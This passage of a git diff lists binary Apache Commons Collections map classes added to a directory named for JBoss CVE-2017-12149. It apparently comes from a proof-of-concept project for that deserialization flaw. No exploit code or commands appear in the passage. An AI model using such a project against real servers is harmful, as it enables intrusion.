b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class new file mode 100644 index 0000000..f78298e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class new file mode 100644 index 0000000..76859c7 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$HashMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class new file mode 100644 index 0000000..ee819ab Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class new file mode 100644 index 0000000..3b6d8cb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$KeySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class new file mode 100644 index 0000000..b06753e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class new file mode 100644 index 0000000..b73a026 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap$ValuesIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap.class new file mode 100644 index 0000000..66ec0f8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractHashedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$EntrySet.class new file mode 100644 index 0000000..fd65ca2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$EntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$EntrySetIterator.class new file mode 100644 index 0000000..cd6c9db Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$EntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$MapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$MapEntry.class new file mode 100644 index 0000000..7ce6109 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator$MapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.class new file mode 100644 index 0000000..4f25fe8 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$EntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$EntrySetIterator.class new file mode 100644 index 0000000..d7a1710 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$EntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$KeySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$KeySetIterator.class new file mode 100644 index 0000000..7ca1e9e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$KeySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkEntry.class new file mode 100644 index 0000000..a53cc82 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkIterator.class new file mode 100644 index 0000000..2650b06 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkMapIterator.class new file mode 100644 index 0000000..d96bb76 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$LinkMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$ValuesIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$ValuesIterator.class new file mode 100644 index 0000000..90b7b0d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap$ValuesIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap.class new file mode 100644 index 0000000..60b31cc Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractLinkedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractMapDecorator.class new file mode 100644 index 0000000..011a6e3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractOrderedMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractOrderedMapDecorator.class new file mode 100644 index 0000000..8c86e7c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractOrderedMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntry.class new file mode 100644 index 0000000..ff8eed9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntrySet.class new file mode 100644 index 0000000..8a50ad0 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntrySetIterator.class new file mode 100644 index 0000000..bea17ad Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceEntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceKeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceKeySet.class new file mode 100644 index 0000000..9c32f09 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceKeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceKeySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceKeySetIterator.class new file mode 100644 index 0000000..5a96596 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceKeySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceMapIterator.class new file mode 100644 index 0000000..3bdb0e2 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceValues.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceValues.class new file mode 100644 index 0000000..023faf3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceValues.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceValuesIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceValuesIterator.class new file mode 100644 index 0000000..0995bc3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$ReferenceValuesIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$SoftRef.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$SoftRef.class new file mode 100644 index 0000000..aee9425 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$SoftRef.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$WeakRef.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$WeakRef.class new file mode 100644 index 0000000..b2c6941 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap$WeakRef.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap.class new file mode 100644 index 0000000..4f6b538 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractReferenceMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractSortedMapDecorator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractSortedMapDecorator.class new file mode 100644 index 0000000..d811c95 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/AbstractSortedMapDecorator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CaseInsensitiveMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CaseInsensitiveMap.class new file mode 100644 index 0000000..9674567 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CaseInsensitiveMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CompositeMap$MapMutator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CompositeMap$MapMutator.class new file mode 100644 index 0000000..db4f818 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CompositeMap$MapMutator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CompositeMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CompositeMap.class new file mode 100644 index 0000000..6482186 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/CompositeMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/FixedSizeMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/FixedSizeMap.class new file mode 100644 index 0000000..b3906b4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/FixedSizeMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/FixedSizeSortedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/FixedSizeSortedMap.class new file mode 100644 index 0000000..b90b08b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/FixedSizeSortedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$EntrySet.class new file mode 100644 index 0000000..8fe7b9d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$EntrySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$EntrySetIterator.class new file mode 100644 index 0000000..e936998 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$EntrySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$FlatMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$FlatMapIterator.class new file mode 100644 index 0000000..5a0f38c Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$FlatMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$KeySet.class new file mode 100644 index 0000000..81feb26 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$KeySetIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$KeySetIterator.class new file mode 100644 index 0000000..11ccb0a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$KeySetIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$Values.class new file mode 100644 index 0000000..685f3e5 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$ValuesIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$ValuesIterator.class new file mode 100644 index 0000000..eed3f49 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map$ValuesIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map.class new file mode 100644 index 0000000..798e255 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/Flat3Map.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/HashedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/HashedMap.class new file mode 100644 index 0000000..f1da42e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/HashedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/IdentityMap$IdentityEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/IdentityMap$IdentityEntry.class new file mode 100644 index 0000000..9a9b149 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/IdentityMap$IdentityEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/IdentityMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/IdentityMap.class new file mode 100644 index 0000000..91d8226 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/IdentityMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LRUMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LRUMap.class new file mode 100644 index 0000000..f27c417 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LRUMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LazyMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LazyMap.class new file mode 100644 index 0000000..de68bb3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LazyMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LazySortedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LazySortedMap.class new file mode 100644 index 0000000..f42d07d Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LazySortedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LinkedMap$LinkedMapList.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LinkedMap$LinkedMapList.class new file mode 100644 index 0000000..2c75e55 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LinkedMap$LinkedMapList.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LinkedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LinkedMap.class new file mode 100644 index 0000000..cb7756e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/LinkedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$EntrySetView.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$EntrySetView.class new file mode 100644 index 0000000..b3dbeda Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$EntrySetView.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$KeySetView$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$KeySetView$1.class new file mode 100644 index 0000000..ce7fddb Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$KeySetView$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$KeySetView.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$KeySetView.class new file mode 100644 index 0000000..d9c020e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$KeySetView.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedIterator.class new file mode 100644 index 0000000..a5e2105 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedMapEntry.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedMapEntry.class new file mode 100644 index 0000000..1acbd51 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedMapEntry.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedMapIterator.class new file mode 100644 index 0000000..ec8e376 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ListOrderedMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ValuesView$1.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ValuesView$1.class new file mode 100644 index 0000000..dd38686 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ValuesView$1.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ValuesView.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ValuesView.class new file mode 100644 index 0000000..34a009e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap$ValuesView.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap.class new file mode 100644 index 0000000..bd847b3 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ListOrderedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/MultiKeyMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/MultiKeyMap.class new file mode 100644 index 0000000..afeb3e1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/MultiKeyMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/PredicatedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/PredicatedMap.class new file mode 100644 index 0000000..5921cdf Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/PredicatedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/PredicatedSortedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/PredicatedSortedMap.class new file mode 100644 index 0000000..ca79e2a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/PredicatedSortedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ReferenceIdentityMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ReferenceIdentityMap.class new file mode 100644 index 0000000..4bad1ef Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ReferenceIdentityMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ReferenceMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ReferenceMap.class new file mode 100644 index 0000000..6224319 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/ReferenceMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap$SingletonMapIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap$SingletonMapIterator.class new file mode 100644 index 0000000..1c0beb9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap$SingletonMapIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap$SingletonValues.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap$SingletonValues.class new file mode 100644 index 0000000..a75d97b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap$SingletonValues.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap.class new file mode 100644 index 0000000..4c3f876 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/SingletonMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntryIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntryIterator.class new file mode 100644 index 0000000..273f836 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntryIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class new file mode 100644 index 0000000..b3b8ee4 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$EntrySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class new file mode 100644 index 0000000..573e6a7 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeyIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class new file mode 100644 index 0000000..bea09c9 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$KeySet.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class new file mode 100644 index 0000000..a88fadd Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Lock.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class new file mode 100644 index 0000000..b658398 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Node.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class new file mode 100644 index 0000000..3bab27e Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$ValueIterator.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class new file mode 100644 index 0000000..02eb91b Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap$Values.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class new file mode 100644 index 0000000..b9e48d1 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/StaticBucketMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class new file mode 100644 index 0000000..93f124a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class new file mode 100644 index 0000000..5483e1a Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TransformedSortedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class new file mode 100644 index 0000000..c259214 Binary files /dev/null and b/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedMap.class differ diff --git a/jboss-_CVE-2017-12149/bin/org/apache/commons/collections/map/TypedSortedMap.class 